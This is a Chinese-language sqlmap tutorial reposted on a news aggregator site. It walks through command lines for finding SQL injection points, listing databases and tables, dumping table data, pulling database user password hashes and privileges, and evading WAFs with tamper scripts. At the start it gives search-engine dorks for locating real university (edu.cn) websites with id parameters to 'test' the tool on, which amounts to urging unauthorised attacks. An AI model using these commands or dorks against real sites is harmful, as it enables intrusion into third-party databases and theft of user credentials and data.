当前位置: 首页 > news >正文

sqlmap使用教程

参考文章:SQLmap使用教程图文教程(超详细)-CSDN博客
可使用必应搜索以下网站来测试使用:
inurl:news.asp?id=site:edu.cn
inurl:news.php?id= site:edu.cn
inurl:news.aspx?id=site:edu.cn
https://i-blog.csdnimg.cn/blog_migrate/80d2a4ffaa0cb7d7d1db82770ccdf1cf.png
扫描完成之后会显示注入的类型以及数据库和版本信息

sqlmap提示选项使用技巧
在使用sqlmap过程中,经常需要用户进行选择,如[Y/n]。这里有几个技巧:
1.大写的为默认选项。如果不输入,就自动使用该选项。
2.我们输入时,不用区分大小写。
3.除了y和n,还有两个特殊选项。一个是a,表示alway,就是总是获取。一个是q,表示退出。
4.不想手动选择,则在执行sqlmap的时候,加上–batch和–smart选项。

一、常规命令

1.检测注入点

sqlmap -u 'http://xx/?id=1'

2.查询所有数据库

sqlmap -u 'http://xx/?id=1' --dbs

3.查看当前使用的数据库

sqlmap -u 'http://xx/?id=1' --current-db

4.查看数据表

sqlmap -u 'http://xx/?id=1' -D meteor --tables

5.查看字段

sqlmap -u 'http://xx/?id=1' -D meteor -T zzy --columns

6.查看数据

sqlmap -u 'http://xx/?id=1' -D meteor -T zzy -C 123 --dump

二、目标

1.指定url:-u

-u参数需要指定检测的url,使用单双引号包裹
eg:
sqlmap -u 'https://xxx/?id=1'

2.指定文件(批量扫描)

准备一个文件,写上需要检测的url,一行写一个
再使用-m参数指定文件,可以批量扫描文件中的url
eg:
sqlmap -m urls.txt

3.指定数据库/表/字段

-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。

-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。

-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump

4.POST请求

检测POST请求的注入点,使用BP等抓包工具抓包,将http请求的内容保存为txt文件
使用 -r参数指定需要检测的文件,sqlmap会通过POST请求方式检测目标

sqlmap -r bp.txt

5.cookie注入

--cookie指定cookie的值,模拟用户登录,使用单/双引号包裹

sqlmap -u 'http://xxx/?id=1' --cookie 'meteor'

三、脱裤

获取所有内容:-a,但会消耗很长时间

sqlmap -u 'http://xxx/?id=1' -a

1.获取数据库

1.1获取数据库版本 -b

sqlmap -u 'http://xxx/?id=1' -b

在扫描完最后会显示数据库的版本

1.2获取当前使用的数据库

sqlmap -u 'http://xxx/?id=1' --current-db

1.3获取所有的数据库

sqlmap -u 'http://xxx/?id=1' --db

最后会显示出所有的数据库名字

2.获取表

参数:–tables

2.1获取指定数据库的表

sqlmap -u 'http://xxx/?id=1' -D 'meteor' --tables

最后会显示指定数据库中的所有的表名

2.2同时获取多个数据库的表明,库名用逗号隔开

sqlmap -u 'http://xxx/?id=1' -D 'meteor,zzy' --tables

2.3不指定数据库,获取数据库中的所有的表

sqlmap -u 'http://xxx/?id=1' --tables

最后会显示每个数据库下都有哪些表

3.获取字段

参数:–dump

3.1获取指定数据库以及指定表中的字段

!!!只指定数据库不指定表会报错!!!

sqlmap -u 'http://xxx/?id=1' -D 'meteor' -T 'zzy' --columns

最后显示表中的所有的字段

3.2不指定表名,默认获取当前数据库所有表的字段

sqlmap -u 'http://xxx/?id=1' --columns

4.获取字段类型

参数:–schema获取字段类型,可以指定库或表,不指定则获取数据库中所有字段的类型。

sqlmap -u 'http://xxx/?id=1' -D 'meteor' --schema

最后会显示每个表的字段类型

5.获取值(数据)

参数:–dump获取表中的值。

5.1获取指定数据库,表,字段的值:

sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump

5.2获取指定数据库所有表的数据:

sqlmap -u 'http://xx/?id=1' -D 'security' --dump

5.3使用–start和–stop指定获取数据

使用参数:–start,–stop指定开始和结束的行,只获取一部分数据

sqlmap -u 'http://xxx/?id=1' -D 'meteor' -T 'meteor' --start 1 --stop 5 --dump

6.获取用户

6.1获取当前登录数据库的用户

sqlmap -u 'http://xxx/?id=1' --current-user

最后会显示当前登录数据库的用户current user:xxx

6.2获取所有的用户

参数:–users获取数据库所有的用户名

sqlmap -u 'http://xxx/?id=1' --users

6.3获取用户的密码

参数:–password获取所有用户的密码(哈希值)
数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,需要借助工具将其解密出明文

sqlmap -u 'http://xxx/?id=1' --passwords

最后面显示数据库用户名对应的密码(哈希值)

6.4获取用户的权限

参数:–privileges查看每个数据库用户都有哪些权限

sqlmap -u 'http://xxx/?id=1' --privileges

最后显示每个数据库用户所拥有的权限。(权限最多的即为root用户)

6.5判断当前用户是不是管理员

参数:–is-dba判断当前登录数据库的用户是不是数据库的管理员用户

 sqlmap -u 'http://xxx/?id=1' --is-dba

如果是管理员,就在current user is DBA后面显示 true

7.获取主机名称

参数:–hostname获取服务器主机名

sqlmap -u 'http://xxx/?id=1' --hostname

最后面显示服务器的主机名

8.搜索库,表,字段

参数:–search搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名
搜索数据库中有没有 security 这个数据库:

sqlmap -u 'http://xx/?id=1' -D 'security' --search

回车后需要手动选择模糊匹配(as like database namesas)还是完全匹配(as exact database namesas)
也可以搜索表和字段

sqlmap -u 'http://xxx/?id=1' -T 'users' --search
sqlmap -u 'http://xxx/?id=1' -C 'username' --search

9.正在执行的SQL语句

参数:–statements获取数据库中正在执行的SQL语句

sqlmap -u 'http://xxx/?id=1' --statements

最后显示正在执行的SQL语句
SQL statements:
[*]正在执行的SQL语句

四、WAF绕过

参数:–tamper指定绕过脚本,绕过WAF或IDS

sqlmap -u 'http://xxx/?id=1' --tamper 'xxx.py'

sqlmap中内置绕过脚本,linux系统中在:/usr/share/sqlmap/tamper/

五、其它指令

–batch 不再询问是否确认
-p 指定可测试的参数 ?page=1&id=2 -p “page,id”
–method=GET 指定请求方式
–random-agent 随机切换UA
–user-agent ’ ‘ 使用自定义UA
–referer ’ ’ 使用自定义referer
–proxy=‘127.0.0.1:8080’ 指定代理
–thread 10 设置线程数,最高10
–level=1 执行测试的等级(1-5,默认为1,常用3)
–risk=1 风险级别(0~3,默认1,常用1),级别提高会提高数据被篡改的风险


http://www.mrgr.cn/news/75127.html

相关文章:

  • 论文1—《基于卷积神经网络的手术机器人控制系统设计》文献阅读分析报告
  • 浅谈:基于三维场景的视频融合方法
  • SQL的基本CRUD操作
  • ABAP开发学习——权限控制
  • 半导体制造技术导论(第二版)萧宏 第二章集成电路工艺介绍答案
  • 高性能Web网关:OpenResty 基础讲解
  • Python 异常处理试卷
  • 【HarmonyOS】鸿蒙系统在租房项目中的项目实战(一)
  • 大语言模型LLM综述
  • GRU(门控循环单元)详解
  • Siggraph Asia 2024 | Adobe发布MagicClay:可通过文字引导去对3D模型中的特定部分进行雕刻
  • 【今天的乐子】你真懂代码吗?挑战这10个笑话,程序员专属梗了解一下
  • C++《继承》
  • 企业运营的智能化升级:AI助理与SOP的融合之道
  • java八股-jvm入门-程序计数器,堆,元空间,虚拟机栈,本地方法栈,类加载器,双亲委派,类加载执行过程
  • 线程的状态有哪些?它是如何工作的?
  • SMA-BP基于黏菌算法优化BP神经网络时间序列预测
  • 解析安卓镜像包和提取DTB文件的操作日志
  • 探索AutoDL与CodeWithGPU:深度学习之旅的新起点
  • 时序论文20|ICLR20 可解释时间序列预测N-BEATS
  • 【算法一周目】双指针(2)
  • JavaScript总结
  • Path.Combine容易被忽略的细节
  • DAPP迎启动契机,Scroll 生态全面启动为 Pencils Protocol 赋能
  • C++函数的返回值在内存中的传递过程
  • 第4章-计划 4.4 范围管理